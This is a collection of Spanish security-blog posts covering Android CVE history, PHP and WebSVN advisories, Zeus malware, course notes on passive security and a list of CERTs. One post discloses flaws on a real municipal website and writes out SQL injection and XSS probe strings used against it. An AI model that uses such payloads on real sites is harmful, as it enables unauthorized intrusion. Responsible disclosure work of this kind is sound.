Evolución de Android en Seguridad

El objetivo de este post es realizar un listado sobre como ha ido evolucionando en seguridad Android; permitiendo a un usuario conocer las vulnerabilidades y características de su sistema Android en cuanto a seguridad se refiere.

Este listado solo se listarán fallos y mejoras a nivel de sistema y que afectan a el mismo, es decir:

Quedan descartados los fallos en las aplicaciones de terceros o externas al sistema, como pueden ser Skype (CVE-2011-1717), el SDK de Android (CVE-2011-1001, CVE-2008-0985, ...), Flash (CVE-2011-2460, CVE-2011-2459, …), entre otras.

Otro ejemplo que excluiré son los fallos CVE-2008-7298 y/o CVE-2011-2344 que afecta a la seguridad de las cookies en una conexión, y no están incluida ya que no tienen un impacto directo contra el sistema.

Tampoco tendremos en cuenta fallos que afecten a fabricantes en exclusiva, como por ejemplo, la vulnerabilidad CVE-2011-3975 que afecta a algunos modelos de HTC. O las versiones de la 2.3.5 a la 2.3.7 que solo de están disponibles para algunos dispositivos.

He intentado mostrar las fuentes originales y no perder ninguna vulnerabilidad o fallo importante. Si conocéis alguno que me olvide encantado de añadirlos, solo tenéis que comentar. xD

Voy ha distinguir tres apartados:
Soluciona: Indica que ha sido publicada de forma clara, que este fallo ha sido solucionado en esa versión.
Nuevo: Nueva mejora implementada.
Vulnerable: Indica que esa versión en vulnerable, pero no se especifica cuando ha sido solucionada.

Febrero 2009 v1.1

• Soluciona:
  CVE-2009-0475 (Ejecución de código a través de Mp3)
  CVE-2009-0606 (Elevación de privilegios)
  CVE-2009-0607 (Múltiples desbordamientos de enteros)
  CVE-2009-0608 (Desbordamiento de entero)
  

Abril 2009 v1.5 r1

• Nuevo:
  Kernel 2.6.27
  
• Vulnerable:
  CVE-2009-1895 (Elevación de privilegios)
  

Mayo 2009 v1.5 r2

• Soluciona:
  CVE-2009-1754 (Acceso a información sensible, datos de aplicaciones)
  

Julio 2009 v1.5 r3

• Soluciona:
  CVE-2009-2348 (Salto de permisos, acceso a cámara y gravar audio)
  CVE-2009-2656 (DoS a través de SMS)
  CVE-2009-2999 (DoS a través de SMS)
  

Septiembre 2009 v1.6 r1

• Soluciona:
  CVE-2009-3698 (DoS a través de Dalvik API)
  
• Nuevo:
  VPN
  
• Vulnerable:
  CVE-2009-1185 (Elevación de privilegios, a través de udev)
  CVE-2009-1186 (DoS a través de udev)
  

Octubre 2009 v2.0

• Nuevo:
  Kernel 2.6.29
  
• Vulnerable:
  CVE-2009-1442 (Posible ejecución de código a través de “Skia”)
  CVE-2010-EASY (Elevación de privilegios, exploit RageAgainsttheCage)
  

Diciembre 2009 v1.6 r2

• Soluciona:
  Desbloqueo de pantalla a través de la Alarma
  

Diciembre 2009 v2.0.1

• Vulnerable:
  Desbloqueo de pantalla a través de Llamadas
  

Mayo 2010 v2.2 r1

• Soluciona:
  CVE-2009-2692 (Elevación de privilegios)
  CVE-2010-1807 (Ejecución de código a través de WebKit)
  CVE-2010-1119 (Elevación de privilegios a través de WebKit)
  
• Nuevo:
  Kernel 2.6.32
  Desbloqueo por código numérico
  Borrado remoto
  Backup Manager
  Device Administration (Gestión de políticas de Seguridad)
  

Julio 2010 v2.2 r2

• Vulnerable:
  359 Fallos desconocidos
  

Diciembre 2010 v2.3

• Soluciona:
  CVE-2011-1149 (Elevación de privilegios, exploit KillingInTheNameOf)
  RageAgainsttheCage (Elevación de privilegios, a través de ADBd)
  Zimperlich (Elevación de privilegios, a través de Zygote)
  
• Nuevo:
  Kernel 2.6.35
  OpenSSL 1.0.0a
  BouncyCastle 1.45
  Mejorada la verificación del código
  NFC
  
• Vulnerable:
  Múltiples DoS a través NFC
  Comunicación encubierta entre procesos (4.2.2.)
  

Julio 2011 v2.2 r3

• Soluciona:
  CVE-2011-0680 (Acceso a información sensible a través de SMS)
  

Febrero 2011 v2.3.3, v3.0

• Vulnerable:
  CVE-2011-0419 (DoS a través de Apache)
  Spoofing de certificados a través de iframe
  

Mayo 2011 v2.3.4, v3.1 r1 y r2

• Soluciona:
  CVE-2010-4804 (URI Multiple Information Disclosure Vulnerabilities)
  CVE-2011-1823 (Elevación de privilegios, exploit GingerBreak)
  Salto de permisos a través del widget de “control de energía”
  
• Vulnerable:
  Salto de permisos y Elevación de privilegios (conferencia Source Barcelona)
  Android class loading hijacking
  CVE-2011-0640 (Ejecución de código a través de udev)
  CVE-2011-1349 (DoS)
  CVE-2011-1350 (Elevación de privilegios)
  CVE-2011-1352 (Elevación de privilegios)
  CVE-2011-2343 (Acceso a información sensible a través de bluetooth)
  CVE-2011-3874 (Elevación de privilegios, exploit zergRush)
  

Julio 2011 v3.0 r2

• Nuevo:
  Kernel 2.6.36
  DRM
  Cifrado de disco
  Mejora de Políticas de seguridad
  

Julio 2011 v3.1 r3, 2011 v3.2

• Soluciona:
  CVE-2011-2357 (Salto de permisos a través de javascript)
  

Octubre 2011 v4.0

• Nuevo:
  ASLR
  Desbloqueo por reconocimiento facial
  Mejora de Cifrado (cada App puede usar su propio CA)
  Mejora de VPN
  Gestión y bloqueo de trafico web por aplicación
  
• Vulnerable:
  Bypass del Desbloqueo de pantalla a través de reconocimiento facial
  Tap hijacking
  ByPass de Permisos
  CVE-2012-0056 (Elevación de privilegios, exploit mempodroid)
  CVE-2011-3918 (DoS)
  

[UPDATE]

• Fallos en MSM driver o camera:
  CVE-2013-6122
  CVE-2013-6123
  CVE-2013-6392
  CVE-2013-4736
  CVE-2013-4737
  CVE-2013-4738
  CVE-2013-4739
  CVE-2013-4740
  
• Fallos en kernel-mode driver:
  CVE-2012-4220
  CVE-2012-4221
  CVE-2012-4222
  
• Master Key:
  CVE-2013-4787
  
• Fallos en v6k and v7 ARM:
  CVE-2013-6282
  
• Otros fallos en el Kernel:
  CVE-2013-2094
  CVE-2013-2058
  CVE-2013-1773
  

OTRAS NOTAS:
Busqueda sistemática de fallos de fuga de información
http://www.csc.ncsu.edu/faculty/jiang/pubs/NDSS12_WOODPECKER.pdf
http://www.youtube.com/watch?v=xGwTviVRcrg
http://www.xda-developers.com/android/discover-undisclosed-apis-with-androids-secret/

Ejecución de comandos en WebSVN 2.3.2

Recientemente ha sido publicado en "exploit-db" un 0-day en WebSVN 2.3.2.
Esta vulnerabilidad permite a un atacante remoto no autenticado ejecutar comandos arbitrarios a través de una petición POST con un valor de "path" especialmente diseñado.

WebSVN es un proyecto Open Source que permite visualizar de forma cómoda uno o varios repositorios SVN. Está implementado en PHP y licenciado bajo GPL v2.

El fallo se da al no validar correctamente el valor recibido como nombre del fichero. Para poder usar esta vulnerabilidad hay que modificar el valor de la variable POST "path".
Para poder explotar esta vulnerabilidad es necesario encontrar un recurso que pueda ser descargado, puesto que el fallo se encuentra en la función "exportRepositoryPath()", que solo es accesible cuando nos descargamos un elemento.

El parche que soluciona esta vulnerabilida y algún otro posible vector de ataque ha sido publicada varias horas despues de haber sido echo publico el fallo.

Más información:

WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Command
Injection
http://www.exploit-db.com/exploits/17360/

Fix:
http://trunk.websvn.info/revision.php?repname=WebSVN&path=%2Ftrunk%2Fdl.php&rev=1256&peg=1256

Una al día:
http://www.hispasec.com/unaaldia/4608

Múltiples vulnerabilidades en "torremolinos.es"

Para quienes no lo conozcáis, Torremolinos es un pueblo de la provincia de Málaga.
Es el pueblo donde me he criado, estudiado, crecido,... y la verdad, ha cambiado mucho en estos años, en algunas cosas para bien y en otras para mal.

En lo que no ha cambiado demasiado (desde que soy usuario) es la web. Siempre me ha dado la sensación, de estar poco cuidada, insuficientemente accesible y poco actualizada. Parecen que en el ayuntamiento, no han entendido la importancia cada vez más creciente de la "web 2.0", y que cada vez más, tiene peso la presencia web para el turismo.

Tras mi critica personal sobre el estado "tecnológico" de mi pueblo, vamos a caso:

El primero de los fallos que he encontrado y reportado al ayuntamiento de Torremolinos es un Inyección SQL:

De Rollanwar

En este ejemplo se puede ver como la base de datos retorna el resultado inyectado, en este caso el voluntario anterior.
No he probado cosas más complicadas, pero cambiando "%20or%20ID_voluntario=%20453" por otro código más complejo se podría, potencialmente, obtener toda la base de datos de "www.torremolinos.es".

Recordar a los lectores que este tipo de practicas podrían constituir un delito.
Entiendo que esta explotación no cumple ninguno de los puntos que podrían ser tenidos en cuenta para constituir un delito, dado que esta explotación es inocua para el sistema y los datos obtenidos son publicos, se podría acceder a esos datos de forma normal.

Por otro lado he encontrado un XSS.
Los más observasores se abran dado cuenta que en la imagen anterior ambos voluntarios tenían la misma cantidad de puntos, y es que no es casualidad, es por el parámetro '&puntos=750&', cambiando el valor por '&puntos=750<script >alert("XSS");</script>&' magia:

De Rollanwar

En este ejemplo se puede ver se ejecuta el código inyectado.

Este fallo no es demasiado grave, pero permite modificar el contenido de la web, a través de una url, es decir, solo ven el contenido modificado quienes sigan ese enlace.
Al tratarse de una vulnerabilidad leve, he decidido publicarla directamente, sin espera respuesta, en "http://secureless.org".

Un ejemplo de esta explotación más llamativa puede ser la siguiente:

De Rollanwar

Por último podemos ver como también se produce un error en el tercer marámetro si insertamos una comilla.

De Rollanwar

No he intentado explotar este SQLi.

En la primera solución que se implementó por parte del ayuntamiento se filtra inadecualamente los caracteres de la URL, para redirigir a la web principal, pero se puede seguir explotando el fallo sustituyendo los espacios por '+'.

Como esta primera solución no se me comunicó decidí pasarme en persona a ver si solucionan el fallo.

Durante mi paso por el ayuntamiento, me informaron de nuevas mejoras e ideas para el futuro "web" del ayuntamiento. He de decir que los cambios para el futuro que me comentaron solucionará varias de las criticas que he vertido al inicio del post.

Estos fallos ya han sido solucionados.

TIMELINE:
08-05-2011: Descubierta
09-05-2011: Notificación del SQLi y XSS
09-05-2011: Publicación del XSS en 'secureless.org'
11-05-2011: No responde, pero parece que solucionan el problema
16-05-2011: Me pongo en contacto de nuevo, esperando contestación.
19-05-2011: No contestan y publico.
24-05-2011: Confirmo que el filtro aplicado no es valido.
24-05-2011: Retiro el post.
24-05-2011: Reenvio fallo con el nuevo ejemplo.
25-05-2011: Paso en persona a ver que ocurre con este asunto.
02-06-2011: Me informan que está solucionado.

LACON

LACON es una quedada de compañeros de seguridad informática. Una especie de congreso informál, pero con contenidos muy caldentes.

Este año ha sido genial, el nivel de las charlas muy alto y contenidos muy buenos e innovadores.

Algunas de las charlas las dieron compañeros de muchas empresas y blogs del sector.

Por poner algúnas de ellas:

• Eloi de Riscure dió dos charlas muy chulas sobre seguridad en "smart cards".


• Los compañeros de Taddong dieron una charla magistrál de telefonía GSM.


• Joxean Koret dió uno taller practico sobre MyNav, un gran plugin para IDA.

Tras todas las charlas se votá a la mejor de ellas, en este año lo ganó Hugo Teso, un compañero de Hispasec Sistemas con una gran investigación (aún en proceso) que dejó ha los presentes impresionados.

Un fin de semana muy divertido donde volver a ver a compañeros y conocer a otros.

Gracias a los hermanos Santamarta por la gran organización.

8=====D

Gestión de dispositivos de almacenamiento

He estado un poco liado y por eso todo este tiempo, pero bueno continuamos con los apuntes dirigidos al “Módulo Profesional de Seguridad informática” que pertenece a el FP. de grado medio de “Técnico en Sistemas Microinformáticos y Redes”.

Vamos a continuar con un nuevo apartado.

Gestión de dispositivos de almacenamiento

Como con cualquier equipo los sistemas/dispositivos de alamacenamiento han de ser mantenidos por los trabajadores. Dado que son estos dispositivos los encargados de almacenar la información tenemos que tener en cuenta nuestras necesidades para saber que dispositivo es el más adecuado a nuestras necesidades.

Almacenamiento de la información: rendimiento, disponibilidad, accesibilidad.

Cuando estamos diseñando un sistema de almacenamiento tenemos que pensar para que uso va a ser destinado, ya que dependiendo de esto los requerimientos los equipos y dispositivos que necesitaremos serán distintos.

Por ejemplo un sistema encargado de servir páginas web estaticas no necesitará el mismo dispositivo de almacenamiento que un equipo encargado de gestinar una base de datos.

• Rendimiento: Cuando hablamos de rendimiento de un sistema de almacenamiento nos referimos a la relación 'velocidad de lectura'/'tamaño de almacenamiento'. El rendimiento depende de las limitaciones mecánicas, eléctricas y de la carga de E/S. Algunos dispositivos modifican su rendimiento con el uso de los mismos.


• Disponibilidad: La disponibilidad de un sistema de almacenamiento es la facultad del mismo por ser accesible en cualquier momento.


• Accesibilidad: La accesibilidad de un sistema de almacenamiento hace referencia al mecanismo por la cual podemos tener acceso al disco. Podemos usar distintos protocolos que nos permiten tener acceso a un disco bien sea local o externo.

Estos factores dependen de los dispositivos, del bus de datos y de la tecnología en general.

Almacenamiento redundante y distribuido.

Nos referimos a almacenamiento redundante cuando los datos del dispositivo se encuentran replicados en otro. Lo más importante en la redundancia en los datos es que ambos discos se encuentren sincronizados, de forma que ambos tengan la misma información.

Los sistemas de almacenamiento distribuido se basan en separar la información de un fichero en distintos dispositivos. De este modo cuando se quiere leer un fichero el tiempo empleado para recuperar el fichero es menor dado que todas las partes llegan a la vez por distintos buses y/o puertos.

El almacenamiento distribuido es habitual en sistemas de cluster. Estos sistemas forman una red de nodos de tal modo que la información se encuentra repartida en distintos equipos y/o dispositivos.

La tecnología SAN (storage area network) está basada en el almacenamiento distribuido, pero permite accesos a bajo nivel.

Almacenamiento remoto y extraíble.

Cuando hablamos de almacenamiento remoto nos referimos a que el dispositivo donde se almacena la información no se encuentra en la máquina local. Hoy en día existen muchos servicios de almacenamiento remoto.

Las tecnología NAS (inglés Network Attached Storage) es un claro ejemplo de almacenamiento remoto, dado que estos sistemas permiten acceder a un disco situado en la red por protocolos como SMB, SFTP, FTP, ... .

Los métodos de almacenamiento extraíbles son sistemas de almacenamiento que se pueden conectar y desconectar de un sistema en caliente (si estar apagado el sistema).

Los dispositivos extraíbles se conectan al sistema por buses como USB o Firewire entre otros.

----
En el proximo capitulo de este tutorial, continuaremos será:
-Criptografía.
-Copias de seguridad e imágenes de respaldo.
-Medios de almacenamiento.
-Sistemas RAID.
-Programación de copias de seguridad.

Nuevas versiones de PHP solucionan varios fallos de seguridad

Se han publicado recientemente nuevas versiones de PHP (versiones 5.2.14 y 5.3.3) que solucionan múltiples problemas de seguridad, que podrían permitir evitar restricciones de seguridad, provocar denegaciones de servicio, obtener información sensible o comprometer los sistemas afectados.

PHP es un lenguaje interpretado de propósito general ampliamente usado, que está diseñado para desarrollo web y puede ser embebido dentro de código HTML. PHP está orientado a la creación de páginas web dinámicas, ejecutándose en un servidor web (server-side scripting), de forma que primero se toma el código en PHP como entrada y se devuelven las páginas web como salida.

Los fallos están relacionados con errores de diseño, desbordamientos de búfer, errores de validación de entradas, y afectan a funciones como "shm_put_var()", XOR operator, "ArrayObject::uasort()", "parse_str()", "pack()", "strchr()", "strstr()", "substr()", "chunk_split()", "strtok()", "addcslashes()", "str_repeat()", "trim()", "addcslashes()", "fnmatch()", "substr_replace()", extensión sqlite, extensión phar, "mysqlnd_list_fields", "mysqlnd_change_user" y mysqlnd.

De todos estos errores sólo se han asignado cuatro CVEs. Dos comunes en ambas versiones y uno específico para cada una de ellas; un total de tres fallos (con CVE asignado) por versión.

CVE-2010-2225:
Esta vulnerabilidad fue anunciada en la conferencia SyScan'10 de Singapore y posteriormente publicada en "el mes de los fallos en PHP". Este fallo se provoca cuando se llama a la función "unserialize" con un objeto "SplObjectStorage". La función "unserialize" no filtra adecuadamente los datos al cargar el objeto. Esto podría permitir a un atacante remoto ejecutar código arbitrario y obtener información sensible. Para la versión 5.2.x solo son vulnerables la versiones de 32 bits. El impacto puede mitigarse con el módulo "Suhosin" pero sigue
siendo vulnerable.

CVE-2010-0397:
Este error había sido publicado por Debian en marzo. Es causado por no procesar correctamente los datos del primer parámetro de la función "xmlrpc_decode_request". Este error en el módulo "xmlrpc" puede provocar una referencia a puntero nulo. Un atacante remoto podría aprovechar este fallo para causar una denegación de servicio a través de una llamada a "xmlrpc_decode_request" especialmente manipulada. Existe una prueba de concepto que permite explotar esta vulnerabilidad.

En la versión 5.3.3 se ha solucionado un error (CVE-2010-2531) en la función "var_export" que podría permitir la fuga de información si ocurre un error grave. El fallo se debe a que los datos se van imprimiendo durante el transcurso de la función en vez de esperar al final para imprimir todo el contenido. Para solucionar esto se ha creado una variable de tipo "smart_str" donde se aloja el texto para imprimirlo tras comprobar que no hay errores.

En la versión 5.2.14 se ha solucionado un error (CVE-2010-2484) en la función "strrchr". Esta función no valida correctamente el valor del parámetro "$haystack". Un atacante remoto podría utilizar esto para obtener información de la memoria.

Las nuevas versiones se encuentran disponibles para descarga desde:

http://www.php.net/downloads.php

Referencias:

PHP Released:
http://www.php.net/archive/2010.php

Info sobre CVE-2010-2225:
http://www.php-security.org/2010/06/25/mops-2010-061-php-splobjectstorage-deserialization-use-after-free-vulnerability/index.html
http://svn.php.net/viewvc?view=revision&revision=300843
https://bugzilla.redhat.com/show_bug.cgi?id=605641

Info sobre CVE-2010-0397:
http://bugs.debian.org/573573
http://bugs.php.net/51288

Info sobre CVE-2010-2531:
http://svn.php.net/viewvc?view=revision&revision=301143

Info sobre CVE-2010-2484:
http://svn.php.net/viewvc?view=revision&revision=300916

Sistemas de alimentación ininterrumpida

Ya estamos en el último apartado de "Aplicación de medidas de seguridad pasiva" de estos apuntes de dirigidos para el "Módulo Profesional de Seguridad informática" que pertenece a el FP. de grado medio de "Técnico en Sistemas Microinformáticos y Redes".

El punto anterior a este apartado es "Ubicación y protección física de los equipos y servidores".

Sistemas de alimentación ininterrumpida.

Para que los sistemas informáticos funcionen adecuadamente es necesario que la alimentación eléctrica sea correcta. La corriente eléctrica tiene fluctuaciones que pueden afectar a los sistemas electrónicos.

Cada equipo dependiendo de su función tendrá distintas características de alimentación électrica. Es lógico pensar que un equipo compuesto por diez discos duros necesitará más potencia que un equipo de procesado o que un switch de red. Por tanto tendremos que saber que necesidades eléctricas necesita cada equipo, para ello consultaremos el manual de cada elemento de un equipo y haremos la suma de potencias.

Es recomendable que las fuentes de alimentación sean superiores a la suma de potencias, de este modo la fuente trabajará en mejores condiciones y evitaremos riesgos. En algunos servidores en normal ver fuentes de alimentación duplicadas, para evitar que fallen.

En la corriente eléctrica convencional podemos encontrar fenomenos adversos tales como:

• Sobretensión/Picos de tensión.

La sobretensión abarca una gran variedad de fenómenos, pero todos implican el agotamiento de los transportadores de carga en la superficie del electrodo. Esto quiere decir que la tensión en bornas del enchufe sube por encima del 110% de la tensión habitual.

• Caída de tensión.

Se provoca por cambios en la resistencia de la red eléctrica. Para que este efecto sea relevante la tensión ha de estar sobre el 80% de la tensión habitual.

• Ruido eléctrico.

Se denomina ruido eléctrico o interferencias a todas aquellas señales, de origen eléctrico, no deseadas y unidas a la señal principal, de manera que la alteran el comportamiento normal de la señal produciendo efectos perjudiciales. Pueden producirse por efectos de inducción entre cables.

Como todos sabemos las empresas suministradoras de corriente no aseguran su suministro durante las 24 horas los 365 días, por tanto, es esperable que en algún momento falle el suministro.

Los sistemas de alimentación ininterrumpida son conocidos como SAIs o UPSs por sus siglas en castellano e ingles respectivamente.
Son elementos con la propiedad de ser activos encargados de alimentar a los sistemas conectados a ellos. Se sitúan entre la fuente de alimentación de los equipos y la red eléctrica. Algunos de ellos posen soporte para apagar los equipos de forma correcta si fuera necesario.

Es tan importante tener los equipos informáticos conectados a un SAI como los sistemas de red, ya que si se falla el suministro eléctrico y se pierde la conectividad con los equipos es igual que si estos estuvieran apagados.

Los equipos SAI se componen de varias partes:

• Rectificador:

Este elemento permite convertir la corriente alterna procedente de la red eléctrica convencional a corriente continua. Esto es posible gracias a el uso de diodos rectificadores.

• Inversor:

Este elemento opera de forma opuesta al rectificador, convierte la corriente continua procedente de la batería o del rectificador a corriente alterna con los valores de frecuencia, tensión y corriente deseados. A diferencia del rectificador la electrónica de este elemento es bastante compleja.

• Batería:

Una batería es un acumulador eléctrico. Almacenamos la energía eléctrica que proviene del rectificador para poder usarla cuando sea necesario. Las baterías eléctricas son fabricada de distintas maneras según las necesidades:



Tipo	Energía/ peso	Tensión (V)	Duración (nun. recargas)	Tiempo de carga	Auto-descarga por mes (% del total)
Plomo	30-50 Wh/kg	2 V	1000	8-16h	5 %
Ni-Cd	48-80 Wh/kg	1,25 V	500	10-14h *	30%
Ni-Mh	60-120 Wh/kg	1,25 V	1000	2h-4h *	20 %
Li-ion	110-160 Wh/kg	3,16 V	4000	2h-4h	25 %
Li-Po	100-130 Wh/kg	3,7 V	5000	1h-1,5h	10%

Otra manera de prevenir los cortes de alimentación es usar líneas redundantes de alimentación, a ser posible con diferentes origenes, es decir, que la energía provenga de subestaciones distintas, o fuentes renovables; esto protegerá ante la caída en una de las dos subestaciones.

Es habitual que los CPDs con muchas máquinas tengan sus propios generadores (de gasolina) eléctricos para caso de la caída del suministro eléctrico general. En un futuro los generadores de gasolina podrían sustituirse por generadores con hidrógeno o biomasas.

Ubicación y protección física de los equipos y servidores

Continuamos en el apartado de "Aplicación de medidas de seguridad pasiva" de estos apuntes de dirigidos para el "Módulo Profesional de Seguridad informática" que pertenece a el FP. de grado medio de "Técnico en Sistemas Microinformáticos y Redes".

Ubicación y protección física de los equipos y servidores

Los incidentes de tipo físico se pueden dividir en dos tipos básicos.

• Incidentes Naturales: Incendios, inundaciones, temperatura, alimentación eléctrica, ... .


• Incidentes Humanos: Robos, fraudes, sabotajes, ... .

Para minimizar el impacto de un posible problema físico tendremos que imponer condiciones de seguridad para los equipos y sistemas de la organización. Por otra lado para que los equipos informáticos funcionen correctamente deben de encontrarse en bajo ciertas condicines.

Como es lógico pensar no todos los equipos informáticos de una organización tiene el mismo valor. Para poder tener una buena seguridad debemos saber que equipos y datos son más importantes para la organización. Ej. Un sevidor y un puesto de trabajo no tendrán las mismas medidas de seguridad, ni fisicas ni lógicas.

Los servidores dado que su funcionamiento ha de ser continuo deben de situarse en un lugar que cumpla las condiciones optimas para el funcionamiento de estos.

Para asegurar los sistemas y equipos que han de mantenerse siempre operativos se crean lugares que se conocen como "Centro de Procesamiento de Datos" o por sus siglas CPD.
Para poder asegurar un CPD lo primero que debemos hacer es asegurar el recinto con medidas de seguridad física.

• Sistemas contra incendios.

Existen varios tipos de sistemas de extinción de incendios, como: extracción de oxigeno, inserción de gases nobles o extintores especiales que eviten el riesgo de electrocución.

Es importante intentar evitar los sistemas contra incendios que usen materiales conductores, dado que, de lo contrario pueden perderse datos de los dispositivos.

• Sistemas de control de acceso.
  
  
  
  • Sistemas de Llaves (tradicionales).
  
  
  • Sistemas de contraseña.
  
  Estos sistemas son los más usados por si simplicidad de uso y bajo coste. En estos tipos de sistemas se ha de establecer politicas de contraseñas. Por tanto la organización que implemente un sistema de contraseña tendrá que indicar a sus usuarios con que periodicidad son cambiadas y que caracteristicas tienen que tener para ser seguras. Sobre las politicas de contraseñas hablaremos más adelante.
  
  • Sistemas Targeta manética.
  
  Estos sistemas se componen de una targeta con una banda magnética que contiene un código para acceder.
  
  • Sistemas RFID:
  
  Son las siglas de identicicación por radio frecuencia en Ingles (Radio Frequency IDentification), estos sistemas se componen de un elemento que reacciona ante una señal, devolviendo un resultado. Existen dispositivos RFID con identificadores únicos certificados por la casa de la moneda.
  
  • Sistemas de Token.
  
  Un sistema de token se compone de un elemento movil llamado "Token" que genera claves aleatorias, para poder funcionar correctamente el token ha de estar sincronizado con el sistema de acceso. Para poder acceder el usuario ha de insertar la clave generada por el token en el sistema, este generará una clave usando el mismo algoritmo y la comparará. Actualmente se están usando sistemas de "Token" mediante el envío de un sms.
  
  • Sistemas Biométricos.
  
  Son sistemas que otorgan acceso mediante la identificación por elementos fisicos de cada indibiduo, vease iris del ojo, huellas dactilares, voz, sistema de venas palmares, u otros rasgos unicos. Este tipos de sistemas son más complejos para ser saltados dado es muy complejo copiar este tipo de datos.
  
  


• Sistemas de control de temperatura.

Para que los sistemas informáticos funcionen correctamente los elementos físicos de los mismos han de encontrase a ciertas temperaturas.

Debido a que los equipos infomáticos funcionan mediante semiconductores se tienen que mantener entre cierto valores de temparatura, de lo contrario los semiconductores pierden sus propiedades y dejan de funcionar adecuadamente. La temperatura adecuada de un CPD no debe de superar los 30º.

En el siguiente post veremos más información sobre las necesidades eléctricas de los CPDs.

Aplicación de medidas de seguridad pasiva

Como ultimamente no encuentro nada sobre lo que escribir he decidido hacer unos apuntes sobre seguridad informática.

Estos apuntes están dirigidos para el "Módulo Profesional de Seguridad informática" con "Código 0226". Este modulo pertenece a el FP. de grado medio de "Técnico en Sistemas Microinformáticos y Redes" y podéis obtener más información en formato pdf del boe y en formato web de juridicas. Dado que se diferencian ambos texto realizaré una mezcla según mejor me venga.

Estos apuntes están pensados para servir de guia y tratan de cumplir los criterios de evaluación de esta signatura.

Introducción

Para una organización la información es su mayor valor. Sin información las organizaciones no pueden funcionar o funcionan con serios problemas, es por tanto de vital importancia asegurar estos datos para evitar filtraciones, perdidas, etc.

Cuando nos encontramos en un entorno de red, todos los sistemas se encuentran interconectados, por tanto, un ataque a uno de ellos puede afectar al resto.

Dado que es la información un bien preciado para las organizaciones tenemos que asegurarnos que ante un incidente tenemos todos o el mayor numero de recursos y procedimientos que eviten una catástrofe aun mayor. Lo más importante para una empresa es que ante un incidente el problema se solucione lo antes posible. Para un encargado de seguridad la mayor preocupación deber ser minimizar las posibilidades de un incidente así como su impacto.

Para facilitar el trabajo de análisis de la seguridad podemos dividir la labor en distintas partes según queramos enfocar y/o abarcar la labor de asegurar nuestros sistemas.

Si dividimos el problema dependiendo del comportamiento de los elementos que actúan sobre los sistemas podremos diferenciar entre:

• Seguridad Pasiva: Al igual que ocurre en la automoción, son elementos de seguridad pasiva todos aquellos elementos que minimizan el impacto de un accidente o incidencia.


• Seguridad Activa: Nos referimos a seguridad activa cuando hablamos de elementos que evitan de forma proactiva las incidencia. En caso de detectar un incidente genera un evento para evitar el problema.

Podemos dividir de igual modo según desde un plano material:

• Seguridad Física: Es la encargada de asegurar los equipos y sistemas necesarios para que el acceso (físico) solo se realice por personal autorizado. Es la seguridad desde un punto de vista Hardware.


• Seguridad Lógica: Es la encargada de asegurar los procesos y aplicación necesarios para que el acceso (lógico) a los datos se realice solo por el personal autorizado. Es la seguridad desde un punto de vista Software.

Dado el funcionamiento de los sistemas actuales de información, la mayor parte de los sistemas de seguridad física son elementos pasivos, del mismo modo que la seguridad lógica es principalmente seguridad activa, aunque no es necesariamente siempre así.

Publicada la Ley sobre ataque informáticos

Como ya comenté hace tiempo en el post "Los ataques informaticos serán delito" en España se pondrán límites a los accesos informáticos con fines de atacar a sistemas.

Esta ley que viene impulsada por la Unión Europea ya ha sido publicada en el BOE (Boletín oficial del estado) y entrará en vigor en Diciembre de este año.

Dado que ya hablamos de esta Ley anteriormente no voy a repetirme, pero quienes estén interesados en saber más pueden ver el siguiente post del Blog "Del derecho y las normas" de David Maeztu.

Zeus ataca al Banco de España

Tras haber hablado de los CERTs de España, vamos a ver un caso de un phishing contra el Banco de España, distribuido por numeroso spam recientemente.

Se trata de un troyano Zeus o Zbot, este troyano tiene un comportamiento bastante avanzado.

Zeus se trata de un troyano que se vende en kit, es decir, que cualquiera que pague por él (en el mercado negro) puede crear su propia infraestructura de ordenadores zombis.

Este troyano del que existen varias versiones, implementa técnicas como: rootkit, cifrado de contenido,explotación de vulnerabilidades de todo tipo, detección de sandboxes ...

Este troyano en particular se distribuye usando su propia red de equipos zombis para alojarse. Para poder hacer esto hace uso de una técnica conocida como "fastflux".
Para realizar esta técnica tendrémos que tener un dominio y un servidor DNS que nos permita asociar muchas ips a este dominio.
Este servidor DNS, tiene un comportamiento peculiar, cada vez que recibe una petición de resolución devuelve como respuesta un ip elegida de forma aleatoria.

De este modo se puede hacer que un equipo troyanizado forme parte de una red de servidores, con la utilidad de servir malware, actualizaciones, y cualquier otra cosa a el resto de equipos infectados, creando una red muy entramada de miles de equipos.

Ahora la pregunta que todos os haréis, ¿como acabo con este tipo de redes?. Como supondréis eliminar este tipo de redes es arduo difícil.

Para empezar abría que atajar el problema desde la fuente inicial, es decir, el dominio, en este caso ruso, que es usado para distribuir el malware. De este modo evitamos que las personas accedan al malware.

Bajo mi punto de vista debería de investigarse las posibles conexiones que puede haber con los servidores DNS (gracias a los cuales se puede hacer fastflux), en este caso "ns1.growth-property.net" y "ns1.pointstory.net".

Si analizamos el malware, podemos ver que realiza conexiones a otro dominio, este dominio tendría que ser neutralizado de igual modo para poder desactivar el troyano.
Sería muy recomendable seguir analizado el malware durante un tiempo por si descargase alguna actualización que variara su comportamiento.

Este caso es publicado por Hispasec en la "una al día", el día 15, a día de hoy este sitio sigue estando accesible. Vermos cuanto tardan en liminarlo o si no se elimina.

Más información:
http://www.hispasec.com/unaaldia/4252
http://blog.s21sec.com/2009/09/detectando-un-zeus.html

CSIRTs y CERTs de España

Para quienes no sepáis a que me refiero con CERT o CSIRT, son las siglas de "Computer Emergency Response Team" y "Computer Security Incident Response Team" respectivamente; es decir, son los encargados de gestionar los incidentes de seguridad relacionados con sistemas de computación, equipos y redes informáticas.

Existe un organismo que intenta agrupar a los principales CERTs y CSIRTs regionales, tanto públicos como privados. El FIRST (Forum of Incidence and Response Security Teams) tiene como principal misión la colaboración entre los distintos CERTs y CSIRTs públicos y privados.

En España tenemos 5 CERTs/CSIRTs miembros del FIRST:

• Iris CERT: http://www.rediris.es/cert/ Encargado de la detección de problemas que afecten a la seguridad de las redes de centros de RedIRIS.


• e-LC CSIRT: Empresa privada dedicada a incidentes relacionados con cajas de ahorros.


• CCN CERT: https://www.ccn-cert.cni.es El "Centro Criptológico Nacional" se encarga de la cooperación y ayuda a todas las administraciones públicas.


• Inteco CERT: http://cert.inteco.es Encargada en materia de seguridad para PYME y ciudadanos.


• esCERT UPC: http://escert.upc.edu/ Está encargada de ayudar y asesorar en temas de seguridad informática y gestión de incidentes en redes telemáticas.

Pero no son los únicos CERTs o CSIRTs existentes en España. Algunas comunidades autónimas y/o regiones tienen sus propios equipos, aunque no pertenecen al FIRST como csirt.ecija.com o sirtcv.es entre otros.

Reto 12 de ESET-LA

ESET Latino América realiza habitualmente diversos retos para hacer pensar a sus lectores.

